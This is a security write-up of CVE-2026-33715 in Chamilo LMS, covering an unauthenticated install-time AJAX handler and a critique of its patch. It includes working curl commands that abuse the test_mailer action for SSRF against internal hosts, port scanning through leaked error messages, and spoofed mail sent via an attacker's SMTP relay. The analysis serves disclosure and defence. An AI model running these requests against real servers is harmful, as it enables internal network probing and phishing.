//nefariousplan

CVE-2026-33715: install.ajax.php Was Install-Only By Filename. The Filename Was the Gate.

pattern

cve

proof of concept

Chamilo's runtime AJAX directory at public/main/inc/ajax/ holds about thirty handlers. Every one of them opens with the same line: require_once __DIR__.'/../global.inc.php'. That include is what gates the file. It boots Chamilo's framework, opens the session, and the next line in each file calls one of api_block_anonymous_users(), api_protect_admin_script(), or api_protect_course_script(true).

install.ajax.php is the one file in the directory that does not include global.inc.php. It includes the Composer autoloader instead.

That difference is CVE-2026-33715.

"Install-only" was held by what the file was called

Read the directory. The handlers in public/main/inc/ajax/ cover chat, course, document, exercise, mail, agenda, plugin, lp, gradebook, message, forum, dropbox, model, link, group, keepalive, lang, online, plugin, record_audio_rtc, and the rest. Every one of them is reachable on a running Chamilo. Apache's vhost serves the directory directly. Symfony's security firewall cannot gate any of them, because Chamilo's Apache config follows the standard Symfony front-controller rewrite:

RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ index.php [QSA,L]

The rewrite passes a request to the front controller only when the requested path is not a real file on disk. Every *.ajax.php file in inc/ajax/ is a real file on disk. None of them are rewritten. None of them traverse Symfony's firewall. The auth gate has to be inside each file.

That gate is the include. global.inc.php boots Chamilo's bespoke session and authority layer. The included file's first three function calls reach Chamilo's gates, and every handler in the directory plays the same opening notes:

// chat.ajax.php
require_once __DIR__.'/../global.inc.php';
api_block_anonymous_users();
// admin.ajax.php
require_once __DIR__.'/../global.inc.php';
api_protect_admin_script();
// document.ajax.php
require_once __DIR__.'/../global.inc.php';
api_protect_course_script(true);

install.ajax.php opens differently:

require_once __DIR__.'/../../../../vendor/autoload.php';

The Composer autoloader. No session, no role check, no global.inc.php. The file was authored for the install wizard, the brief window during installation when global.inc.php cannot be included because the framework is not yet bootable. That window is what justified the absence of the gate on day one. The file's name carries the justification: install.ajax.php. After installation the file remains on disk. After installation it remains reachable. The "install-only" status of the file was held by what it was called and by whose attention nobody expected to pay to it.

That is the convention pattern again.

test_mailer takes a Symfony Mailer DSN

The handler dispatches on the a query parameter. Two actions exist: send_contact_information and test_mailer. The second is the SSRF primitive.

case 'test_mailer':
    $mailerDsn             = $request ? (string) $request->request->get('mailerDsn')             : get_post_param('mailerDsn');
    $mailerTestDestination = $request ? (string) $request->request->get('mailerTestDestination') : get_post_param('mailerTestDestination');
    $mailerFromEmail       = $request ? (string) $request->request->get('mailerFromEmail')       : get_post_param('mailerFromEmail');
    $mailerFromName        = $request ? (string) $request->request->get('mailerFromName')        : get_post_param('mailerFromName');

    // ... trim each, validate that mailerFromEmail looks like an email,
    // ... validate that mailerTestDestination looks like an email

    $transport = Transport::fromDsn($mailerDsn);
    $mailer    = new Mailer($transport);

    $email = (new Email())
        ->from(new Address($mailerFromEmail, $mailerFromName))
        ->to($mailerTestDestination)
        ->subject('Chamilo Mail Test')
        ->text('This is a test e-mail sent from the Chamilo installation wizard.');

    $mailer->send($email);

Four POST parameters. The two emails are validated with filter_var(..., FILTER_VALIDATE_EMAIL), which rejects strings without an @. Any address that passes that filter is accepted. The mailerDsn is not validated at all. It is trimmed and handed to Transport::fromDsn().

Transport::fromDsn() is Symfony Mailer's transport factory. It accepts every transport scheme registered in the running app: smtp://, smtps://, sendmail://, plus any third-party transport pulled in by Composer. The base scheme of interest is smtp://. The DSN format is smtp://user:pass@host:port. No allowlist. No domain restriction. No private-IP filter. The host, the port, and the credentials are whatever the POST body says.

The handler then constructs a message and calls $mailer->send($email). Symfony Mailer opens a TCP connection to the host:port in the DSN, performs the SMTP handshake, attempts to authenticate with the supplied credentials if any, issues MAIL FROM, RCPT TO, and DATA, and writes the body.

Three primitives in one endpoint:

# SSRF: probe an internal service over SMTP
curl -X POST 'https://chamilo.target/main/inc/ajax/install.ajax.php?a=test_mailer' \
  -d 'mailerDsn=smtp://10.0.0.5:25' \
  -d '[email protected]' \
  -d '[email protected]'

The Chamilo server opens a TCP connection to 10.0.0.5:25. From the network's perspective, the request originated inside the network. The attacker is unauthenticated. The trust boundary is the file-level include, and that include is missing.

# Open relay: send mail through a third-party SMTP, attacker-controlled From and To
curl -X POST 'https://chamilo.target/main/inc/ajax/install.ajax.php?a=test_mailer' \
  -d 'mailerDsn=smtp://attacker:[email protected]:587' \
  -d '[email protected]' \
  -d 'mailerFromName=IT Security' \
  -d '[email protected]'

The Chamilo server connects to the attacker's SMTP server, authenticates with the attacker's credentials, and sends an email with From: IT Security <[email protected]> to the victim. The mail leaves the attacker's relay; the headers carry whatever From the attacker named. SPF and DKIM apply to the attacker's relay, not to the impersonated host. The Chamilo server has been borrowed as a dispatcher.

The exception's message is the JSON response

The error path is the third primitive:

} catch (\Throwable $e) {
    json_response([
        'success' => false,
        'message' => $e->getMessage(),
    ], 500);
}

$e->getMessage() from Symfony Mailer's transport carries the underlying error verbatim. A connection refused returns:

{"success":false,"message":"Connection could not be established with host \"10.0.0.5:25\": stream_socket_client(): Unable to connect to 10.0.0.5:25 (Connection refused)"}

A timeout returns the same shape with "Connection timed out". A successful TCP handshake followed by a non-SMTP banner returns "Expected response code "220" but got code "", with message "..."". Each error string distinguishes "the host did not exist" from "the host existed and the port was closed" from "the host existed and the port was open and a non-SMTP service answered." The unauthenticated caller has, for every host:port they name, a tri-state response distinguishing reachable, closed, filtered, plus a banner snippet on connect.

That is a port scanner. The test_mailer handler does not set its own socket timeout; PHP's default default_socket_timeout = 60 applies. A walk of an internal /24 against ports 25, 465, 587, 110, 143, 3306, 5432, 6379, 11211 takes time but is unauthenticated and works against any external Chamilo install in the vulnerable version range.

Install-only by convention, file edition

This is the internal-only-by-convention pattern at file granularity. The pattern's instances vary in scale: a header field the proxy writes to itself, a property name on a framework prototype, a scheduler RPC port that only ever had one localhost caller, a session file that every authority gate reads from. Chamilo extends the pattern to the file system: a single .php file in a runtime directory whose "this is install-only" status is held by the filename and the assumption that the install would not last.

Every other handler in inc/ajax/ is gated by the same pair of lines: include global.inc.php, call an authority function. About thirty files repeat the convention. The convention is "every handler in this directory authenticates itself in its own first three lines." The convention is what is enforcing it; nothing in the framework enforces it.

The framework cannot enforce it for a structural reason. Apache's RewriteCond %{REQUEST_FILENAME} !-f is what passes existing PHP files to PHP and only routes non-existent paths through the Symfony front controller. Chamilo's directory layout puts dozens of real .php files under the document root. Every one of them is reachable directly. Symfony's firewall, which is the framework-level place where authentication would live, never sees any of them. The auth gate is per-file.

Per-file enforcement is per-file omission. install.ajax.php is the omission.

The patch checks one environment variable

The fix is one commit, by Angel Fernando Quiroz Campos on 2026-03-23 (e9f6672), against the same file. Twenty inserted lines, no others touched:

+use Symfony\Component\Dotenv\Dotenv;

 require_once __DIR__.'/../../../../vendor/autoload.php';

+// Block access on installed instances. This file is only for the install wizard.
+$_envFile = __DIR__.'/../../../../.env';
+if (file_exists($_envFile)) {
+    try {
+        (new Dotenv())->loadEnv($_envFile);
+    } catch (\Throwable $e) {
+        http_response_code(403);
+        exit;
+    }
+}
+$_appInstalled = (string) (
+    $_SERVER['APP_INSTALLED']
+    ?? $_ENV['APP_INSTALLED']
+    ?? getenv('APP_INSTALLED')
+    ?? ''
+) === '1';
+if ($_appInstalled) {
+    http_response_code(403);
+    exit;
+}
+unset($_envFile, $_appInstalled);

The patch loads .env, reads APP_INSTALLED, and returns 403 if the value is the string 1. It does not include global.inc.php. It does not call any of Chamilo's authentication functions. The patched file is still outside Symfony's firewall. The install wizard's own front door at public/main/install/index.php already had the same env-var check before the patch; the AJAX sibling was missing it.

The check fails open in two cases. If .env does not exist, file_exists returns false, the load is skipped, and the three-source coalesce evaluates to ''. '' === '1' is false; the file proceeds. If .env exists but does not set APP_INSTALLED, the same coalesce evaluates to '', and the file proceeds. The shipped .env.dist template has APP_INSTALLED='{{APP_INSTALLED}}', which the install wizard is responsible for replacing with the literal 1. An installation that completed before the project added the APP_INSTALLED field, an installation whose .env was rewritten by a deployment tool that did not preserve that line, or an installation whose .env lives outside the expected path: all three reach the test_mailer handler post-patch.

The patched range is chamilo/chamilo-lms <= 2.0-RC.2; 2.0-RC.3 carries the commit. The patch is one new convention layered on top of an older convention. The new convention is "the deployer set APP_INSTALLED=1 correctly in .env at the right path." The older convention, "the auth gate is the include line and this file does not have one," remains.

The same directory still holds about thirty handlers whose authentication is held by line 7 of each file. Adding a thirty-first handler that forgets the line is the same shape install.ajax.php was.

PoC: romain-deperne/CVE-2026-33715

The convention was held by what the file was called. The patch is held by what the deployer set.